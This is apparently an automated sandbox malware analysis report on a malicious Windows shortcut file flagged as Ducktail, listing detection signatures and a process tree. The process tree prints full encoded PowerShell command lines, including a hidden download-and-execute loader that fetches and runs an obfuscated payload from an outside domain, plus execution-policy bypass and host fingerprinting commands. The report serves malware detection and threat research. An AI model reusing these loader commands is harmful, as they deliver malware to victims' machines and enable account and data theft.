Edit tour

Windows Analysis Report
Cj3OWJHzls.lnk

Overview

General Information

Sample name:	Cj3OWJHzls.lnk
Analysis ID:	1573015
MD5:	fdc2c40b78407b62b2e386f9222439ad
SHA1:	2960eed9741f669ed669cbb5084ec97774894054
SHA256:	422a27cd27fbc332a9d40463a0fae26d74049b6313931451de1c7d8b90b50586
Infos:

Detection

Ducktail

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Ducktail

Yara detected Powershell download and execute

Allows multiple concurrent remote connection

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Modifies security policies related information

Potential dropper URLs found in powershell memory

PowerShell case anomaly found

Powershell drops PE file

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: PowerShell Base64 Encoded WMI Classes

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious New Service Creation

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Uses regedit.exe to modify the Windows registry

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file contains strange resources

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64native

cmd.exe (PID: 2288 cmdline: "C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 1088 cmdline: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA==" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6736 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

csc.exe (PID: 6960 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 6840 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE1E8.tmp" "c:\Users\user\AppData\Local\Temp\5v0ewpyz\CSC3197E2CC644CF2871AE1653AC92A50.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 4152 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

WINWORD.EXE (PID: 7728 cmdline: "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o "" MD5: E7F3B8EA1B06F46176FC5C35307727D6)

cmd.exe (PID: 2620 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 824 cmdline: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sppsvc.exe (PID: 8684 cmdline: C:\Windows\system32\sppsvc.exe MD5: 30C7EF47B57367CC546173BB4BB2BB04)

svczHost.exe (PID: 9108 cmdline: C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de MD5: 9298A0077E8353244A38CAEFE43AF4CB)

conhost.exe (PID: 9116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 9176 cmdline: "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 3052 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 7476 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

powershell.exe (PID: 6164 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAK